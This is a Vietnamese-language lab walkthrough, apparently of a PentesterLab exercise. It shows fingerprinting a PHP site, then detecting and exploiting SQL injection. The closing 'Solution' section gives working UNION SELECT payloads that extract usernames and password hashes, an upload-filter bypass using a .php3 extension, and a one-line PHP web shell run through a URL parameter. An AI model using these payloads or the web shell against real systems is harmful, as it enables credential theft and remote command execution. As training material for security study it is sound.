Giới thiệu
Khóa học này trình bày chi tiết việc khai thác SQL injection trong một trang web dựa trên PHP và cách kẻ tấn công có thể sử dụng nó để truy cập vào các trang quản trị.
Sau đó, bằng cách sử dụng quyền truy cập này, kẻ tấn công sẽ có thể thực thi mã trên máy chủ.
Cuộc tấn công được chia thành 3 bước:
Fingerprinting: để thu thập thông tin về ứng dụng web và các công nghệ đang được sử dụng.
Phát hiện và khai thác SQL injection: trong phần này, bạn sẽ tìm hiểu cách thức hoạt động của SQL injection và cách khai thác chúng để truy xuất thông tin.
Truy cập vào các trang quản trị và thực thi mã: bước cuối cùng bạn sẽ truy cập vào hệ điều hành và chạy các lệnh.
Fingerprinting
Fingerprinting có thể được thực hiện bằng nhiều công cụ. Trước tiên, bằng cách sử dụng trình duyệt, có thể phát hiện ra rằng ứng dụng được viết bằng PHP.
Kiểm tra tiêu đề HTTP
Nhiều thông tin có thể được truy xuất bằng cách kết nối với ứng dụng web bằng netcat hoặc telnet:
1 |
$ telnet vulnerable 80 |
Với: vulnerable là tên máy chủ hoặc địa chỉ IP của máy chủ;
80 là cổng TCP được ứng dụng web sử dụng (80 là giá trị mặc định cho HTTP).
Bằng cách gửi yêu cầu HTTP sau:
1 2 |
GET / HTTP/1.1 Host: vulnerable |
Có thể truy xuất thông tin về phiên bản PHP và máy chủ web được sử dụng chỉ bằng cách quan sát các tiêu đề HTTP do máy chủ gửi lại:
1 2 3 4 5 6 7 8 9 10 |
HTTP/1.1 200 OK Date: Thu, 24 Nov 2011 04:40:51 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze3 Vary: Accept-Encoding Content-Length: 1335 Content-Type: text/html <html> <head> |
Ở đây ứng dụng chỉ áp dụng qua HTTP (không có gì đang chạy trên cổng 443). Nếu ứng dụng chỉ khả dụng qua HTTPs, telnet hoặc netcat sẽ không thể giao tiếp với máy chủ, thì công cụ openssl có thể được sử dụng:
1 |
openssl s_client -connect vulnerable:443 |
Với :
vulnerable là tên máy chủ hoặc địa chỉ IP của máy chủ;
443 là cổng TCP được ứng dụng web sử dụng (443 là giá trị mặc định cho các HTTP)
Sử dụng một ứng dụng như Burp Suite http://portswigger.net/ được thiết lập làm proxy giúp dễ dàng truy xuất cùng một thông tin:
Sử dụng Buster để khám phá các thư mục trong website
Detect và exploit SQL Injection
Detect SQL Injection
Giới thiệu SQL
Câu lệnh cơ bản nhất:
1 |
SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=integer1 AND column6=integer2; |
Detect dựa trên Integer
Ví dụ với đường dẫn URL /cat.php?id=1
Khi bạn thử id=2-1 mà hiển thị article 1, hay id=2-0 mà hiển thị article 2, nghĩa là phép tính được thực thi luôn khi get link, điều này có thể tồn tại lỗ hổng SQL Injection
Nếu kết quả id=2-1 hay 2-0 mà vẫn ra article 2, thì ko có lỗ hổng để khai thác
Detect dựa vào String
Chính là phép so sánh luôn đúng huyền thoại sau:
' and '1'='1
Solution
https://ptl-60156166-d599eb20.libcurl.so/cat.php?id=1%20union%20select%201,password,3,4%20from%20users
https://ptl-60156166-d599eb20.libcurl.so/cat.php?id=1%20union%20select%201,concat(login,%27:%27,password),3,4%20from%20users
Sử dụng MD5 để decode password admin:
Sau đó đăng nhập vào admin, upload file test.php3 để pass qua (nếu đặt test.php sẽ bị chặn)
Nội dung file là:
<?php
system($_GET[‘cmd’]);
?>
Sau đó vào đường dẫn file đó:
https://ptl-60156166-d599eb20.libcurl.so/admin/uploads/test.php3?cmd=/usr/local/bin/score%2078a02cad-6b9e-4f38-8b26-2176490366c0